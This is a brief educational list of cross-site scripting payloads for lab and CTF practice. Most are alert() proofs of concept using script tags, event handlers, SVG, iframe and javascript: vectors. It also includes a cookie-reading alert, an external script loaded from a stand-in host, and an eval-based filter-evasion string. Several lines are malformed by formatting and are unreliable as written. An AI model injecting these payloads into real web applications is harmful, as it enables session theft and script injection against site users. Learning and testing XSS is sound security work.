Crafting XSS (Cross-Site Scripting) payloads is a significant aspect of learning about web application security, particularly for educational and ethical hacking purposes. Here, some generic examples of XSS payloads. Remember, these should only be used in legal, ethical contexts, such as in a lab environment, CTF (Capture the Flag) competitions, or when you have explicit permission to test a system.
<script>alert('XSS')</script>
<script>alert(document.cookie)</script>
<img src=x onerror=alert('XSS')>
javascript:alert('XSS')
<script src="<http://example.com/xss.js>"></script>
<div onclick="alert('XSS')">Click me</div>
<body onload=alert('XSS')>
<svg/onload=alert('XSS')>
<style>@import 'javascript:alert("XSS")';</style>
<iframe src="javascript:alert('XSS')"></iframe>
<script>\\\\\\\\x3Cscript>\\\\\\\\x61\\\\\\\\x6C\\\\\\\\x65\\\\\\\\x72\\\\\\\\x74(1)//\\\\\\\\x3C/script></script>
document.domain
:<script>alert(document.domain)</script>
<script>alert('XSS')</script>
<input value="<script>alert('XSS')</script>">
Using eval()
:
<script>eval('al'+'ert(1)')</script>